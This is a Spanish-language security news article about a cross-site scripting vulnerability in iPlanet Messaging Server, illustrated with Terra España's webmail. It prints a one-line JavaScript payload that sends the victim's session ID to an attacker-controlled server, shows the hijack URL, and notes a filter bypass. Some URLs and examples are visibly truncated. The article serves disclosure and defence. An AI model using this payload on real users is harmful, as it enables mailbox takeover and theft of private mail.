En un reciente mensaje publicado en la lista de correo BugTraq se
informa de la existencia de una vulnerabilidad de cross-site scripting
en iPlanet Messaging Server. Para ilustrar el alcance de la
vulnerabilidad, se utiliza como ejemplo práctico el servicio de correo
web que ofrece Terra España, de forma que un atacante remoto puede
obtener toda la información necesaria para acceder al contenido de los
buzones de correo de los usuarios de este ISP.
Terra España, al igual que otras muchas empresas que ofrecen un
servicio de webmail, utiliza el servidor iPlanet Messaging Server (la
antigua Netscape y hoy una división de Sun Microsystems).
IPlanet Messaging Server utiliza un código único («SID», identificador
de sesión) de 16-bits como mecanismo para la autenticación de la
sesión del usuario. Este SID es un campo que se envía dentro de la
URL, en forma de parámetro. Por tanto, un atacante que desee acceder
al correo de un usuario del servicio de correo web debe ingeniárselas
para obtener el valor de este SID. Una vez capturado este valor el
atacante podrá acceder al contenido del correo web hasta que finalice
la sesión.
La vulnerabilidad descubierta se basa en una ‘característica’ ofrecida
por el servidor de correo iPlanet: cuando se abre un archivo HTML
asociado a un mensaje, éste se abre dentro del contexto del servidor
de correo. Esto significa que tiene acceso al valor del SID que, como
hemos indicado anteriormente, es la información necesaria para acceder
al contenido del buzón.
¿Cómo puede un atacante obtener este SID? El atacante sólo necesita
enviar un mensaje que contenga un archivo HTML asociado con el
siguiente contenido:
window.open('http:///'+document.URL)
Donde «Servidor» es una máquina que dispone de un servidor web
controlado por el atacante. En el momento en que el receptor del
mensaje visualice el contenido del mensaje, transmitirá al servidor
web remoto una petición donde se encontrará el campo SID:
http:///attach/file.html?sid=XYXYXYXYXYXYXY&
mbox=INBOX&uid=XXXXX&number=2&filename=file.html
Por tanto, el atacante acaba de recibir la información básica para
poder secuestrar el correo de la víctima, simplemente abriendo en su
navegador una URL como la siguiente:
http:////mail.html?sid=XYXYXYXYXYXYXY&
lang=es&host=http:///&cert=false&uid=
El campo Identificador_Usuario puede deducirse fácilmente. Es la
dirección de correo electrónico del usuario.
En el caso concreto de Terra España, debido a los mecanismos de
seguridad perimetrales existentes, el ataque debe modificarse
ligeramente. El cortafuegos utilizado por Terra realiza una filtrado
básico del tráfico de entrada para impedir la entrada de determinadas
marcas, como por ejemplo . Por desgracia, este filtrado es muy
superficial y puede ser fácilmente sorteado por el atacante
sustituyendo los caracteres por sus correspondientes entidades
SGML:
xavi@hispasec.com
Más información:
XSS en webmail de Terra
http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/IPlanet_Messaging/Terra.htm
Possible XSS on iPlanet Messaging Server
http://www.securityfocus.com/archive/1/322832/2003-05-26/2003-06-01/0
iPlanet Messaging Server XSS + SID hijacking
http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/IPlanet_Messaging/index.htm
Deja una respuesta